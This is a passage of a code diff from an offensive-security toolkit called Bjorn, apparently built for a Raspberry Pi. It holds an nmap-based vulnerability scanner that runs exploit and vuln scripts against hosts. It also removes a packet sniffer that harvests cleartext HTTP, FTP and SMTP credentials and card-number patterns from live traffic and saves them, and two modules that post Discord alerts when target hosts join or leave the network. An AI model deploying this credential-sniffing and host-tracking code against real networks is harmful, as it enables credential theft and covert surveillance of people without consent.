logger.debug(f"Filtered {original_count - len(ports)} already-scanned ports")
|
||||
|
||||
if not ports:
|
||||
logger.info(f"No new/changed ports to scan for {ip}")
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
return 'success'
|
||||
|
||||
# 4) SCAN WITH PROGRESS
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return 'interrupted'
|
||||
|
||||
logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}")
|
||||
findings = self.scan_vulnerabilities(ip, ports)
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Scan interrupted by user")
|
||||
return 'interrupted'
|
||||
|
||||
# 5) In-memory dedup before persistence
|
||||
findings = self._deduplicate_findings(findings)
|
||||
|
||||
# 6) Persistance
|
||||
self.save_vulnerabilities(mac, ip, findings)
|
||||
|
||||
# Final UI update
|
||||
self.shared_data.bjorn_progress = "100%"
|
||||
self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))}
|
||||
logger.success(f"Vuln scan done on {ip}: {len(findings)} entries")
|
||||
return 'success'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"NmapVulnScanner failed for {ip}: {e}")
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
return 'failed'
|
||||
|
||||
def _has_been_scanned(self, mac: str) -> bool:
|
||||
rows = self.shared_data.db.query("""
|
||||
SELECT 1 FROM action_queue
|
||||
WHERE mac_address=? AND action_name='NmapVulnScanner'
|
||||
AND status IN ('success', 'failed')
|
||||
LIMIT 1
|
||||
""", (mac,))
|
||||
return bool(rows)
|
||||
|
||||
def _filter_ports_already_scanned(self, mac: str, ports: List[str]) -> List[str]:
|
||||
if not ports:
|
||||
return []
|
||||
|
||||
rows = self.shared_data.db.query("""
|
||||
SELECT port, last_seen
|
||||
FROM detected_software
|
||||
WHERE mac_address=? AND is_active=1 AND port IS NOT NULL
|
||||
""", (mac,))
|
||||
|
||||
seen = {}
|
||||
for r in rows:
|
||||
try:
|
||||
seen[str(r['port'])] = r.get('last_seen')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0)
|
||||
if ttl > 0:
|
||||
cutoff = datetime.now(timezone.utc) - timedelta(seconds=ttl)
|
||||
final_ports = []
|
||||
for p in ports:
|
||||
if p not in seen:
|
||||
final_ports.append(p)
|
||||
else:
|
||||
try:
|
||||
dt = datetime.fromisoformat(seen[p].replace('Z', ''))
|
||||
if dt < cutoff:
|
||||
final_ports.append(p)
|
||||
except Exception:
|
||||
pass
|
||||
return final_ports
|
||||
else:
|
||||
return [p for p in ports if p not in seen]
|
||||
|
||||
# ---------------------------- Helpers -------------------------------- #
|
||||
|
||||
def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]:
|
||||
"""Remove duplicates (same port + vuln_id) to avoid redundant inserts."""
|
||||
seen: set = set()
|
||||
deduped = []
|
||||
for f in findings:
|
||||
key = (str(f.get('port', '')), str(f.get('vuln_id', '')))
|
||||
if key not in seen:
|
||||
seen.add(key)
|
||||
deduped.append(f)
|
||||
return deduped
|
||||
|
||||
def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]:
|
||||
cpe = port_info.get('cpe')
|
||||
if not cpe:
|
||||
return []
|
||||
if isinstance(cpe, str):
|
||||
return [x.strip() for x in cpe.splitlines() if x.strip()]
|
||||
if isinstance(cpe, (list, tuple, set)):
|
||||
return [str(x).strip() for x in cpe if str(x).strip()]
|
||||
return [str(cpe).strip()]
|
||||
|
||||
def extract_cves(self, text: str) -> List[str]:
|
||||
"""Extract CVEs using pre-compiled regex."""
|
||||
if not text:
|
||||
return []
|
||||
return CVE_RE.findall(str(text))
|
||||
|
||||
# ---------------------------- Scanning (Batch Mode) ------------------------------ #
|
||||
|
||||
def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||
"""
|
||||
Orchestrate scanning in batches for progress bar updates.
|
||||
"""
|
||||
all_findings = []
|
||||
|
||||
fast = bool(self.shared_data.config.get('vuln_fast', True))
|
||||
use_vulners = bool(self.shared_data.config.get('nse_vulners', False))
|
||||
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
|
||||
|
||||
# Pause between batches -- important on Pi Zero to let the CPU breathe
|
||||
batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5))
|
||||
|
||||
# Reduced batch size by default (2 on Pi Zero, configurable)
|
||||
batch_size = int(self.shared_data.config.get('vuln_batch_size', 2))
|
||||
|
||||
target_ports = ports[:max_ports]
|
||||
total = len(target_ports)
|
||||
if total == 0:
|
||||
return []
|
||||
|
||||
batches = [target_ports[i:i + batch_size] for i in range(0, total, batch_size)]
|
||||
|
||||
processed_count = 0
|
||||
|
||||
for batch in batches:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
port_str = ','.join(batch)
|
||||
|
||||
# UI update before batch scan
|
||||
pct = int((processed_count / total) * 100)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"progress": f"{processed_count}/{total} ports",
|
||||
"current_batch": port_str
|
||||
}
|
||||
|
||||
t0 = time.time()
|
||||
|
||||
# Scan batch (local instance to avoid state corruption)
|
||||
if fast:
|
||||
batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners)
|
||||
else:
|
||||
batch_findings = self._scan_heavy(ip, port_str)
|
||||
|
||||
elapsed = time.time() - t0
|
||||
logger.debug(f"Batch [{port_str}] scanned in {elapsed:.1f}s – {len(batch_findings)} finding(s)")
|
||||
|
||||
all_findings.extend(batch_findings)
|
||||
processed_count += len(batch)
|
||||
|
||||
# Post-batch update
|
||||
pct = int((processed_count / total) * 100)
|
||||
self.shared_data.bjorn_progress = f"{pct}%"
|
||||
|
||||
# CPU pause between batches (vital on Pi Zero)
|
||||
if batch_pause > 0 and processed_count < total:
|
||||
time.sleep(batch_pause)
|
||||
|
||||
return all_findings
|
||||
|
||||
def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]:
|
||||
vulns: List[Dict] = []
|
||||
nm = nmap.PortScanner() # Local instance -- no shared state
|
||||
|
||||
# --version-light instead of --version-all: much faster on Pi Zero
|
||||
# --min-rate/--max-rate: avoid saturating CPU and network
|
||||
args = (
|
||||
"-sV --version-light -T4 "
|
||||
"--max-retries 1 --host-timeout 60s --script-timeout 20s "
|
||||
"--min-rate 50 --max-rate 100"
|
||||
)
|
||||
if use_vulners:
|
||||
args += " --script vulners --script-args mincvss=0.0"
|
||||
|
||||
logger.debug(f"[FAST] nmap {ip} -p {port_list}")
|
||||
try:
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
except Exception as e:
|
||||
logger.error(f"Fast batch scan failed for {ip} [{port_list}]: {e}")
|
||||
return vulns
|
||||
|
||||
if ip not in nm.all_hosts():
|
||||
return vulns
|
||||
|
||||
host = nm[ip]
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
|
||||
# CPE
|
||||
for cpe in self._extract_cpe_values(port_info):
|
||||
vulns.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': f"CPE:{cpe}",
|
||||
'script': 'service-detect',
|
||||
'details': f"CPE: {cpe}"
|
||||
})
|
||||
|
||||
# CVE via vulners
|
||||
if use_vulners:
|
||||
script_out = (port_info.get('script') or {}).get('vulners')
|
||||
if script_out:
|
||||
for cve in self.extract_cves(script_out):
|
||||
vulns.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': cve,
|
||||
'script': 'vulners',
|
||||
'details': str(script_out)[:200]
|
||||
})
|
||||
return vulns
|
||||
|
||||
def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]:
|
||||
vulnerabilities: List[Dict] = []
|
||||
nm = nmap.PortScanner() # Local instance
|
||||
|
||||
vuln_scripts = [
|
||||
'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*',
|
||||
'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*',
|
||||
]
|
||||
script_arg = ','.join(vuln_scripts)
|
||||
# --min-rate/--max-rate to avoid saturating the Pi
|
||||
args = (
|
||||
f"-sV --script={script_arg} -T3 "
|
||||
"--script-timeout 30s --min-rate 50 --max-rate 100"
|
||||
)
|
||||
|
||||
logger.debug(f"[HEAVY] nmap {ip} -p {port_list}")
|
||||
try:
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
except Exception as e:
|
||||
logger.error(f"Heavy batch scan failed for {ip} [{port_list}]: {e}")
|
||||
return vulnerabilities
|
||||
|
||||
if ip not in nm.all_hosts():
|
||||
return vulnerabilities
|
||||
|
||||
host = nm[ip]
|
||||
discovered_ports_in_batch: set = set()
|
||||
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
discovered_ports_in_batch.add(str(port))
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
|
||||
for script_name, output in (port_info.get('script') or {}).items():
|
||||
for cve in self.extract_cves(str(output)):
|
||||
vulnerabilities.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': cve,
|
||||
'script': script_name,
|
||||
'details': str(output)[:200]
|
||||
})
|
||||
|
||||
# Optional CPE scan (on this batch)
|
||||
if bool(self.shared_data.config.get('scan_cpe', False)):
|
||||
ports_for_cpe = list(discovered_ports_in_batch)
|
||||
if ports_for_cpe:
|
||||
vulnerabilities.extend(self.scan_cpe(ip, ports_for_cpe))
|
||||
|
||||
return vulnerabilities
|
||||
|
||||
def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||
cpe_vulns = []
|
||||
nm = nmap.PortScanner() # Local instance
|
||||
try:
|
||||
port_list = ','.join([str(p) for p in ports])
|
||||
# --version-light instead of --version-all (much faster)
|
||||
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s"
|
||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||
|
||||
if ip in nm.all_hosts():
|
||||
host = nm[ip]
|
||||
for proto in host.all_protocols():
|
||||
for port in host[proto].keys():
|
||||
port_info = host[proto][port]
|
||||
service = port_info.get('name', '') or ''
|
||||
for cpe in self._extract_cpe_values(port_info):
|
||||
cpe_vulns.append({
|
||||
'port': port,
|
||||
'service': service,
|
||||
'vuln_id': f"CPE:{cpe}",
|
||||
'script': 'version-scan',
|
||||
'details': f"CPE: {cpe}"
|
||||
})
|
||||
except Exception as e:
|
||||
logger.error(f"scan_cpe failed for {ip}: {e}")
|
||||
return cpe_vulns
|
||||
|
||||
# ---------------------------- Persistence ---------------------------- #
|
||||
|
||||
def save_vulnerabilities(self, mac: str, ip: str, findings: List[Dict]):
|
||||
hostname = None
|
||||
try:
|
||||
host_row = self.shared_data.db.query_one(
|
||||
"SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if host_row and host_row.get('hostnames'):
|
||||
hostname = host_row['hostnames'].split(';')[0]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
findings_by_port: Dict[int, Dict] = {}
|
||||
for f in findings:
|
||||
port = int(f.get('port', 0) or 0)
|
||||
if port not in findings_by_port:
|
||||
findings_by_port[port] = {'cves': set(), 'cpes': set()}
|
||||
|
||||
vid = str(f.get('vuln_id', ''))
|
||||
vid_upper = vid.upper()
|
||||
if vid_upper.startswith('CVE-'):
|
||||
findings_by_port[port]['cves'].add(vid)
|
||||
elif vid_upper.startswith('CPE:'):
|
||||
# Store without the "CPE:" prefix
|
||||
findings_by_port[port]['cpes'].add(vid[4:])
|
||||
|
||||
# 1) CVEs
|
||||
for port, data in findings_by_port.items():
|
||||
for cve in data['cves']:
|
||||
try:
|
||||
self.shared_data.db.execute("""
|
||||
INSERT INTO vulnerabilities(mac_address, ip, hostname, port, vuln_id, is_active, last_seen)
|
||||
VALUES(?,?,?,?,?,1,CURRENT_TIMESTAMP)
|
||||
ON CONFLICT(mac_address, vuln_id, port) DO UPDATE SET
|
||||
is_active=1, last_seen=CURRENT_TIMESTAMP, ip=excluded.ip
|
||||
""", (mac, ip, hostname, port, cve))
|
||||
except Exception as e:
|
||||
logger.error(f"Save CVE err: {e}")
|
||||
|
||||
# 2) CPEs
|
||||
for port, data in findings_by_port.items():
|
||||
for cpe in data['cpes']:
|
||||
try:
|
||||
self.shared_data.db.add_detected_software(
|
||||
mac_address=mac, cpe=cpe, ip=ip,
|
||||
hostname=hostname, port=port
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"Save CPE err: {e}")
|
||||
|
||||
logger.info(f"Saved vulnerabilities for {ip}: {len(findings)} findings")
|
||||
@@ -1,262 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
odin_eye.py -- Network traffic analyzer and credential hunter for BJORN.
|
||||
Uses pyshark to capture and analyze packets in real-time.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
try:
|
||||
import pyshark
|
||||
HAS_PYSHARK = True
|
||||
except ImportError:
|
||||
pyshark = None
|
||||
HAS_PYSHARK = False
|
||||
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
|
||||
from collections import defaultdict
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="odin_eye.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "OdinEye"
|
||||
b_module = "odin_eye"
|
||||
b_status = "odin_eye"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_priority = 30
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 600
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 4 # Capturing is passive, but pyshark can be resource intensive
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["sniff", "pcap", "creds", "network"]
|
||||
b_category = "recon"
|
||||
b_name = "Odin Eye"
|
||||
b_description = "Passive network analyzer that hunts for credentials and data patterns."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.1"
|
||||
b_icon = "OdinEye.png"
|
||||
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "select",
|
||||
"label": "Network Interface",
|
||||
"choices": ["auto", "wlan0", "eth0"],
|
||||
"default": "auto",
|
||||
"help": "Interface to listen on."
|
||||
},
|
||||
"filter": {
|
||||
"type": "text",
|
||||
"label": "BPF Filter",
|
||||
"default": "(http or ftp or smtp or pop3 or imap or telnet) and not broadcast"
|
||||
},
|
||||
"max_packets": {
|
||||
"type": "number",
|
||||
"label": "Max packets",
|
||||
"min": 100,
|
||||
"max": 100000,
|
||||
"step": 100,
|
||||
"default": 1000
|
||||
},
|
||||
"save_creds": {
|
||||
"type": "checkbox",
|
||||
"label": "Save Credentials",
|
||||
"default": True
|
||||
}
|
||||
}
|
||||
|
||||
CREDENTIAL_PATTERNS = {
|
||||
'http': {
|
||||
'username': [r'username=([^&]+)', r'user=([^&]+)', r'login=([^&]+)'],
|
||||
'password': [r'password=([^&]+)', r'pass=([^&]+)']
|
||||
},
|
||||
'ftp': {
|
||||
'username': [r'USER\s+(.+)', r'USERNAME\s+(.+)'],
|
||||
'password': [r'PASS\s+(.+)']
|
||||
},
|
||||
'smtp': {
|
||||
'auth': [r'AUTH\s+PLAIN\s+(.+)', r'AUTH\s+LOGIN\s+(.+)']
|
||||
}
|
||||
}
|
||||
|
||||
class OdinEye:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.capture = None
|
||||
self.stop_event = threading.Event()
|
||||
self.statistics = defaultdict(int)
|
||||
self.credentials: List[Dict[str, Any]] = []
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def process_packet(self, packet):
|
||||
"""Analyze a single packet for patterns and credentials."""
|
||||
try:
|
||||
with self.lock:
|
||||
self.statistics['total_packets'] += 1
|
||||
if hasattr(packet, 'highest_layer'):
|
||||
self.statistics[packet.highest_layer] += 1
|
||||
|
||||
if hasattr(packet, 'tcp'):
|
||||
# HTTP
|
||||
if hasattr(packet, 'http'):
|
||||
self._analyze_http(packet)
|
||||
# FTP
|
||||
elif hasattr(packet, 'ftp'):
|
||||
self._analyze_ftp(packet)
|
||||
# SMTP
|
||||
elif hasattr(packet, 'smtp'):
|
||||
self._analyze_smtp(packet)
|
||||
|
||||
# Payload generic check
|
||||
if hasattr(packet.tcp, 'payload'):
|
||||
self._analyze_payload(packet.tcp.payload)
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"Packet processing error: {e}")
|
||||
|
||||
def _analyze_http(self, packet):
|
||||
if hasattr(packet.http, 'request_uri'):
|
||||
uri = packet.http.request_uri
|
||||
for field in ['username', 'password']:
|
||||
for pattern in CREDENTIAL_PATTERNS['http'][field]:
|
||||
m = re.findall(pattern, uri, re.I)
|
||||
if m:
|
||||
self._add_cred('HTTP', field, m[0], getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def _analyze_ftp(self, packet):
|
||||
if hasattr(packet.ftp, 'request_command'):
|
||||
cmd = packet.ftp.request_command.upper()
|
||||
if cmd in ['USER', 'PASS']:
|
||||
field = 'username' if cmd == 'USER' else 'password'
|
||||
self._add_cred('FTP', field, packet.ftp.request_arg, getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def _analyze_smtp(self, packet):
|
||||
if hasattr(packet.smtp, 'command_line'):
|
||||
line = packet.smtp.command_line
|
||||
for pattern in CREDENTIAL_PATTERNS['smtp']['auth']:
|
||||
m = re.findall(pattern, line, re.I)
|
||||
if m:
|
||||
self._add_cred('SMTP', 'auth', m[0], getattr(packet.ip, 'src', 'unknown'))
|
||||
|
||||
def _analyze_payload(self, payload):
|
||||
patterns = {
|
||||
'email': r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
|
||||
'credit_card': r'\b\d{4}[- ]?\d{4}[- ]?\d{4}[- ]?\d{4}\b'
|
||||
}
|
||||
for name, pattern in patterns.items():
|
||||
m = re.findall(pattern, payload)
|
||||
if m:
|
||||
self.shared_data.log_milestone(b_class, "PatternFound", f"{name} detected in traffic")
|
||||
|
||||
def _add_cred(self, proto, field, value, source):
|
||||
with self.lock:
|
||||
cred = {
|
||||
'protocol': proto,
|
||||
'type': field,
|
||||
'value': value,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'source': source
|
||||
}
|
||||
if cred not in self.credentials:
|
||||
self.credentials.append(cred)
|
||||
logger.success(f"OdinEye: Credential found! [{proto}] {field}={value}")
|
||||
self.shared_data.log_milestone(b_class, "Credential", f"{proto} {field} captured")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""Standard entry point."""
|
||||
# Reset per-run state to prevent accumulation across reused instances
|
||||
self.credentials.clear()
|
||||
self.statistics.clear()
|
||||
|
||||
iface = getattr(self.shared_data, "odin_eye_interface", "auto")
|
||||
if iface == "auto":
|
||||
iface = None # pyshark handles None as default
|
||||
|
||||
bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"])
|
||||
max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000))
|
||||
timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300))
|
||||
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "packets")
|
||||
output_dir = getattr(self.shared_data, "odin_eye_output", _fallback_dir)
|
||||
|
||||
logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})")
|
||||
self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}")
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"iface": iface or "any", "filter": bpf_filter[:30]}
|
||||
|
||||
if not HAS_PYSHARK:
|
||||
logger.error("OdinEye requires pyshark but it is not installed.")
|
||||
return "failed"
|
||||
|
||||
try:
|
||||
self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter)
|
||||
|
||||
start_time = time.time()
|
||||
packet_count = 0
|
||||
|
||||
# Use sniff_continuously for real-time processing
|
||||
for packet in self.capture.sniff_continuously():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
|
||||
if time.time() - start_time > timeout:
|
||||
logger.info("OdinEye: Timeout reached.")
|
||||
break
|
||||
|
||||
packet_count += 1
|
||||
if packet_count >= max_pkts:
|
||||
logger.info("OdinEye: Max packets reached.")
|
||||
break
|
||||
|
||||
self.process_packet(packet)
|
||||
|
||||
# Periodic progress update (every 50 packets)
|
||||
if packet_count % 50 == 0:
|
||||
prog = int((packet_count / max_pkts) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
# EPD live status update
|
||||
self.shared_data.comment_params = {"packets": str(packet_count), "creds": str(len(self.credentials))}
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Capture error: {e}")
|
||||
self.shared_data.log_milestone(b_class, "Error", str(e))
|
||||
return "failed"
|
||||
finally:
|
||||
if self.capture:
|
||||
try: self.capture.close()
|
||||
except Exception: pass
|
||||
|
||||
# Save results
|
||||
if self.credentials or self.statistics['total_packets'] > 0:
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
with open(os.path.join(output_dir, f"odin_recon_{ts}.json"), 'w') as f:
|
||||
json.dump({
|
||||
"stats": dict(self.statistics),
|
||||
"credentials": self.credentials
|
||||
}, f, indent=4)
|
||||
self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.")
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
from init_shared import shared_data
|
||||
eye = OdinEye(shared_data)
|
||||
eye.execute("0.0.0.0", None, {}, "odin_eye")
|
||||
@@ -1,93 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""presence_join.py - Discord webhook notification when a target host joins the network."""
|
||||
|
||||
import requests
|
||||
from typing import Optional
|
||||
import logging
|
||||
import datetime
|
||||
|
||||
from logger import Logger
|
||||
from shared import SharedData # only if executed directly for testing
|
||||
|
||||
logger = Logger(name="PresenceJoin", level=logging.DEBUG)
|
||||
|
||||
# --- Metadata (truth is in DB; here for reference/consistency) --------------
|
||||
b_class = "PresenceJoin"
|
||||
b_module = "presence_join"
|
||||
b_status = "PresenceJoin"
|
||||
b_port = None
|
||||
b_service = None
|
||||
b_parent = None
|
||||
b_priority = 90
|
||||
b_cooldown = 0 # not needed: on_join only fires on join transition
|
||||
b_rate_limit = None
|
||||
b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan)
|
||||
b_requires = None # Configure via DB to restrict to specific MACs if needed
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_category = "notification"
|
||||
b_name = "Presence Join"
|
||||
b_description = "Sends a Discord webhook notification when a host joins the network."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "1.0.0"
|
||||
b_timeout = 30
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10
|
||||
b_risk_level = "low"
|
||||
b_tags = ["presence", "discord", "notification"]
|
||||
b_icon = "PresenceJoin.png"
|
||||
|
||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||
|
||||
class PresenceJoin:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _send(self, text: str) -> None:
|
||||
url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL
|
||||
if not url or "webhooks/" not in url:
|
||||
logger.error("PresenceJoin: DISCORD_WEBHOOK_URL missing/invalid.")
|
||||
return
|
||||
try:
|
||||
r = requests.post(url, json={"content": text}, timeout=6)
|
||||
if r.status_code < 300:
|
||||
logger.info("PresenceJoin: webhook sent.")
|
||||
else:
|
||||
logger.error(f"PresenceJoin: HTTP {r.status_code}: {r.text}")
|
||||
except Exception as e:
|
||||
logger.error(f"PresenceJoin: webhook error: {e}")
|
||||
|
||||
def execute(self, ip: Optional[str], port: Optional[str], row: dict, status_key: str):
|
||||
"""
|
||||
Called by the orchestrator when the scheduler detected the join.
|
||||
ip/port = host targets (if known), row = host info.
|
||||
"""
|
||||
try:
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or "MAC"
|
||||
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
||||
name = f"{host} ({mac})" if host else mac
|
||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
|
||||
|
||||
# Add timestamp in UTC
|
||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
|
||||
|
||||
msg = f"✅ **Presence detected**\n"
|
||||
msg += f"- Host: {host or 'unknown'}\n"
|
||||
msg += f"- MAC: {mac}\n"
|
||||
if ip_s:
|
||||
msg += f"- IP: {ip_s}\n"
|
||||
msg += f"- Time: {timestamp}"
|
||||
|
||||
self._send(msg)
|
||||
return "success"
|
||||
except Exception as e:
|
||||
logger.error(f"PresenceJoin error: {e}")
|
||||
return "failed"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sd = SharedData()
|
||||
logger.info("PresenceJoin ready (direct mode).")
|
||||
@@ -1,92 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""presence_left.py - Discord webhook notification when a target host leaves the network."""
|
||||
|
||||
import requests
|
||||
from typing import Optional
|
||||
import logging
|
||||
import datetime
|
||||
|
||||
from logger import Logger
|
||||
from shared import SharedData # only if executed directly for testing
|
||||
|
||||
logger = Logger(name="PresenceLeave", level=logging.DEBUG)
|
||||
|
||||
# --- Metadata (truth is in DB; here for reference/consistency) --------------
|
||||
b_class = "PresenceLeave"
|
||||
b_module = "presence_left"
|
||||
b_status = "PresenceLeave"
|
||||
b_port = None
|
||||
b_service = None
|
||||
b_parent = None
|
||||
b_priority = 90
|
||||
b_cooldown = 0 # not needed: on_leave only fires on leave transition
|
||||
b_rate_limit = None
|
||||
b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan)
|
||||
b_requires = None # Configure via DB to restrict to specific MACs if needed
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_category = "notification"
|
||||
b_name = "Presence Leave"
|
||||
b_description = "Sends a Discord webhook notification when a host leaves the network."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "1.0.0"
|
||||
b_timeout = 30
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10
|
||||
b_risk_level = "low"
|
||||
b_tags = ["presence", "discord", "notification"]
|
||||
b_icon = "PresenceLeave.png"
|
||||
|
||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||
|
||||
class PresenceLeave:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _send(self, text: str) -> None:
|
||||
url = getattr(self.shared_data, 'discord_webhook_url', None) or DISCORD_WEBHOOK_URL
|
||||
if not url or "webhooks/" not in url:
|
||||
logger.error("PresenceLeave: DISCORD_WEBHOOK_URL missing/invalid.")
|
||||
return
|
||||
try:
|
||||
r = requests.post(url, json={"content": text}, timeout=6)
|
||||
if r.status_code < 300:
|
||||
logger.info("PresenceLeave: webhook sent.")
|
||||
else:
|
||||
logger.error(f"PresenceLeave: HTTP {r.status_code}: {r.text}")
|
||||
except Exception as e:
|
||||
logger.error(f"PresenceLeave: webhook error: {e}")
|
||||
|
||||
def execute(self, ip: Optional[str], port: Optional[str], row: dict, status_key: str):
|
||||
"""
|
||||
Called by the orchestrator when the scheduler detected the disconnection.
|
||||
ip/port = last known target (if available), row = host info.
|
||||
"""
|
||||
try:
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or "MAC"
|
||||
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
|
||||
|
||||
# Add timestamp in UTC
|
||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
|
||||
|
||||
msg = f"❌ **Presence lost**\n"
|
||||
msg += f"- Host: {host or 'unknown'}\n"
|
||||
msg += f"- MAC: {mac}\n"
|
||||
if ip_s:
|
||||
msg += f"- Last IP: {ip_s}\n"
|
||||
msg += f"- Time: {timestamp}"
|
||||
|
||||
self._send(msg)
|
||||
return "success"
|
||||
except Exception as e:
|
||||
logger.error(f"PresenceLeave error: {e}")
|
||||
return "failed"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sd = SharedData()
|
||||
logger.info("PresenceLeave ready (direct mode).")
|
||||
@@ -1,224 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
rune_cracker.py -- Advanced password cracker for BJORN.
|
||||
Supports multiple hash formats and uses bruteforce_common for progress tracking.
|
||||
Optimized for Pi Zero 2 (limited CPU/RAM).
|
||||
"""
